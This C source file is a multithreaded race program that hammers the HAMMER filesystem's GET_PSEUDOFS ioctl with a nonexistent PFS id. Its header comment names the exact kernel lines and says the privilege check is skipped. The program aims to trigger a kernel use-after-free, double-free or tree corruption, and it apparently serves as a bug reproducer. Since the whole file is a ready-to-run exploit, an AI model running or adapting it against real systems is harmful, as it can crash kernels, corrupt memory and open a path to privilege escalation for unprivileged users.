/*
 * DF-3188 racer: race hammer_load_pseudofs()'s RB_LOOKUP+hammer_ref
 * (hammer_inode.c:983-989) against hammer_rel_pseudofs()'s unlocked
 * norefs-check + RB_REMOVE + kfree (hammer_inode.c:1218-1227) by
 * spraying HAMMERIOC_GET_PSEUDOFS (dispatcher drops the privilege
 * gate for this command) on a NONEXISTENT PFS id, so every call runs
 * the full kmalloc -> RB_INSERT -> (ENOENT) -> rel -> RB_REMOVE ->
 * kfree cycle.  A lookup landing between the loser's hammer_norefs()
 * check and its RB_REMOVE() refs a pfsm that is then freed ->
 * use-after-free / double-free / RB tree corruption.
 *
 * usage: ./race_getpfs <mounted-hammer-dir> <pfs_id> <seconds> <threads>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include "hammer_ioctl.h"

static volatile int stop;
static int fd;
static int pfs_id;
static unsigned long long total, enoent, other;

static void *
racer(void *arg)
{
	struct hammer_ioc_pseudofs_rw pfs;
	unsigned long long n = 0;

	memset(&pfs, 0, sizeof(pfs));
	pfs.pfs_id = pfs_id;
	pfs.bytes = sizeof(struct hammer_pseudofs_data);
	pfs.version = HAMMER_IOC_PSEUDOFS_VERSION;
	pfs.ondisk = NULL;

	while (!stop) {
		int r = ioctl(fd, HAMMERIOC_GET_PSEUDOFS, &pfs);
		if (r == 0)
			other++;
		else if (errno == ENOENT)
			enoent++;
		else
			other++;
		n++;
		if ((n & 0xFFFFF) == 0)
			__sync_fetch_and_add(&total, 0x100000);
	}
	__sync_fetch_and_add(&total, n % 0x100000);
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[16];
	int nthreads = 4, seconds = 300;
	time_t t0, tn;

	if (argc < 3) {
		fprintf(stderr,
		    "usage: %s <dir> <pfs_id> [seconds] [threads]\n", argv[0]);
		exit(2);
	}
	pfs_id = atoi(argv[2]);
	if (argc >= 4) seconds = atoi(argv[3]);
	if (argc >= 5) nthreads = atoi(argv[4]);
	if (nthreads > 16) nthreads = 16;

	fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open"); exit(2); }
	printf("racing GET_PSEUDOFS pfs_id=%d (nonexistent) on %s: "
	       "%d threads for %ds, uid=%d\n",
	       pfs_id, argv[1], nthreads, seconds, getuid());
	fflush(stdout);

	for (int i = 0; i < nthreads; i++)
		pthread_create(&th[i], NULL, racer, NULL);
	t0 = time(NULL);
	while ((tn = time(NULL)) - t0 < seconds) {
		sleep(10);
		fprintf(stderr, "[%3lds] ~%lluM ioctls (ENOENT=%llu)\n",
			(long)(tn - t0), total >> 20, enoent);
	}
	stop = 1;
	for (int i = 0; i < nthreads; i++)
		pthread_join(th[i], NULL);
	printf("done: ~%llu ioctls, ENOENT=%llu other=%llu\n",
	       total, enoent, other);
	printf("SURVIVED - no UAF hit in this run\n");
	return (0);
}
